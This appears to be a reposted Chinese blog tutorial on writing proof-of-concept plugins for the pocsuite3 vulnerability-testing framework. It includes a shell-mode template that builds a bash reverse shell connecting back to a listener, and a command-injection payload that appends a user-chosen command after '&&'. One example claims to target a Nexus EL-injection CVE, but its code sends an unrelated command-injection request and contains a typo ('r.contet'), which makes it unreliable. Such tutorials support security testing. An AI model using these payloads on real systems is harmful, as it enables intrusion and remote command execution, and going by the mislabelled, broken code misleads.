zoukankan      html  css  js  c++  java
  • pocsuite3快速上手

    pocsuite3

    Poc编写模板

    1.编写PoC文件名

    ​ PoC 命名分成3个部分组成漏洞应用名—版本号—漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成_

    2.编写 PoC 实现类

    DemoPOC,继承自PoCBase类.

    from pocsuite3.api import Output, POCBase, register_poc, requests, logger
    from pocsuite3.api import get_listener_ip, get_listener_port
    from pocsuite3.api import REVERSE_PAYLOAD
    from pocsuite3.lib.utils import random_str
    
      class DemoPOC(POCBase):
    
    3.填写PoC信息字段
    vulID = '1571'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
        version = '1' #默认为1
        author = 'seebug' #  PoC作者的大名
        vulDate = '2014-10-16' #漏洞公开的时间,不知道就写今天
        createDate = '2014-10-16'# 编写 PoC 的日期
        updateDate = '2014-10-16'# PoC 更新的时间,默认和编写时间一样
        references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']# 漏洞地址来源,0day不用写
        name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC'# PoC 名称
        appPowerLink = 'https://www.drupal.org/'# 漏洞厂商主页地址
        appName = 'Drupal'# 漏洞应用名称
        appVersion = '7.x'# 漏洞影响版本
        vulType = 'SQL Injection'#漏洞类型,类型参考见 漏洞类型规范表
        desc = '''
            Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入,
            可以添加管理员、造成信息泄露。
        ''' # 漏洞简要描述
        samples = []# 测试样列,就是用 PoC 测试成功的网站
        install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
        pocDesc = ''' poc的用法描述 '''
    
    4._options函数-自定义字段

    先导入包

    from pocsuite3.api import OptString,OptDict,OptIP,OptPort,OptBool,OptInteger,OptFloat,OptItems
    

    函数使用方法

        def _options(self):
            o = OrderedDict()
            o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)#require是否为必选项;''默认选项
            o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
            return o
    

    提取自定义字段

    self.get_option("username")#或
    payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
    
    5._verify函数-验证模式
      def _verify(self):
            output = Output(self)
            # 验证代码
            if result: # result是返回结果
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output
    
    6._attack函数-攻击模式

    攻击模式可以对目标进行 getshell,查询管理员帐号密码等操作.定义它的方法与检测模式类似

    def _attack(self):
        output = Output(self)
        result = {}
        # 攻击代码
    

    和验证模式一样,攻击成功后需要把攻击得到结果赋值给 result 变量

    如果该 PoC 没有攻击模式,可以在 _attack()函数下加入一句 return self._verify() 这样你就无需再写 _attack 函数了。

    7._shell函数-shell模式

    pocsuite3 在 shell 模式 会默认监听6666端口, 编写对应的攻击代码,让目标执行反向连接 运行pocsuite3 系统IP的 6666端口即可得到一个shell

    def _shell(self):
        cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
        # 攻击代码 execute cmd
    

    shell模式下,只能运行单个PoC脚本,控制台会进入shell交互模式执行命令及输出

    例子

    如果你需要编写一个可以交互参数的poc文件(例如有的poc脚本需要填写登录信息,或者任意命令执行时执行任意命令),那么可以在poc文件中声明一个_options方法。一个简单的例子如下

    from collections import OrderedDict
    
    from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
    from pocsuite3.api import OptString
    
    
    class DemoPOC(POCBase):
        vulID = '00000'  # ssvid
        version = '1.0'
        author = ['knownsec.com']
        vulDate = '2019-2-26'
        createDate = '2019-2-26'
        updateDate = '2019-2-25'
        references = ['']
        name = '自定义命令参数登录例子'
        appPowerLink = 'http://www.knownsec.com/'
        appName = 'test'
        appVersion = 'test'
        vulType = VUL_TYPE.XSS
        desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数'''
        samples = []
        category = POC_CATEGORY.EXPLOITS.WEBAPP
    
        def _options(self):
            o = OrderedDict()
            o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)
            o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
            return o
    
        def _verify(self):
            result = {}
            payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
            r = requests.post(self.url, data=payload)
            if r.status_code == 200:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Postdata'] = payload
    
            return self.parse_output(result)
    
        def _attack(self):
            return self._verify()
    
        def parse_output(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output
    
    
    register_poc(DemoPOC)
    

    requests应用例子

    """
    If you have issues about development, please read:
    https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
    for more about information, plz visit http://pocsuite.org
    """
    
    from collections import OrderedDict
    
    from pocsuite3.api import Output
    from pocsuite3.api import POCBase
    from pocsuite3.api import requests
    from pocsuite3.api import OptString
    from pocsuite3.api import register_poc
    from pocsuite3.api import POC_CATEGORY
    
    
    class DemoPOC(POCBase):
        vulID = '97809'  # ssvid
        version = '1.0'
        author = ['CTCcaozhe']
        vulDate = '2020-05-26'
        createDate = '2020-05-26'
        updateDate = '2020-05-26'
        references = ['https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204']
        name = 'Nexus Repository Manager 3 EL表达式注入漏洞(CVE-2020-10199、CVE-2020-10204)'
        appPowerLink = 'https://oss.sonatype.org/'
        appName = 'Nexus Repository Manager'
        appVersion = '3.6.2 版本到 3.14.0 版本'
        vulType = 'code-exec'
        desc = '''Nexus Repository Manager 3 是一款软件仓库,
        可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,
        存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过。
        '''
        samples = ['http://192.168.34.137:8081/']
        install_requires = []
        category = POC_CATEGORY.EXPLOITS.WEBAPP
        protocol = POC_CATEGORY.PROTOCOL.HTTP
    
        def _options(self):
            o = OrderedDict()
            o["cook"] = OptString('portainer.LOGIN_STATE_UUID=eb8c2f19-87a5-4605-b4b3-18b9c11452c0; _ga=GA1.1.1996873860.1590378950; NX-ANTI-CSRF-TOKEN=0.3154237604464878; NXSESSIONID=3038ed03-c6c2-4eec-875d-2fc75e6f14ca', description='这个poc需要用户输入Cookle', require=True)
            o["token"] = OptString('0.3154237604464878', description='这个poc需要用户输入TOKEN', require=True)
            o["comm"] = OptString('ls', description='这个poc需要用户输入执行命令', require=True)
            return o
    
        def _verify(self):
            result = {}
            playload = 'target=192.168.1.1+%26%26+'+ self.get_option("comm")
            get_headers = {
                'Content-Length': '34',
                'Content-Type': 'application/x-www-form-urlencoded',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
                'Connection':'close'
            }
            vul_url = self.url
            if vul_url.endswith('/'):
                vul_url = vul_url[:-1]
    
            if "http://" in vul_url:
                host = vul_url[7:]
            elif "https://" in vul_url:
                host = vul_url[8:]
            else:
                host = vul_url
    
            get_headers['Host'] = host
    
            r = requests.post(url=vul_url, data=playload, headers=get_headers)
            # print(r.cookies)
            print(r.text)
            if r.status_code == 200:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = vul_url
                result['VerifyInfo']['content'] = r.contet
    
            return self.parse_output(result)
    
        def _attack(self):
            return self._verify()
    
        def parse_output(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output
    
    
    register_poc(DemoPOC)
    
  • 相关阅读:
    Oracle 获取表结构信息
    EasyUI layout动态设置Split属性
    jquery easyui-datagrid 如何清空数据
    ORacle 复制表
    aspx调用webmethod
    RDLC添加链接
    Nginx 负载均衡 ip_hash , hash key(consistent) url_hash, least_conn
    Nginx 提升吞吐量利器 Keeplived
    Nginx Gzip 的正确使用
    Nginx 切割日志
  • 原文地址:https://www.cnblogs.com/ctccaozhe/p/13222367.html
Copyright © 2011-2022 走看看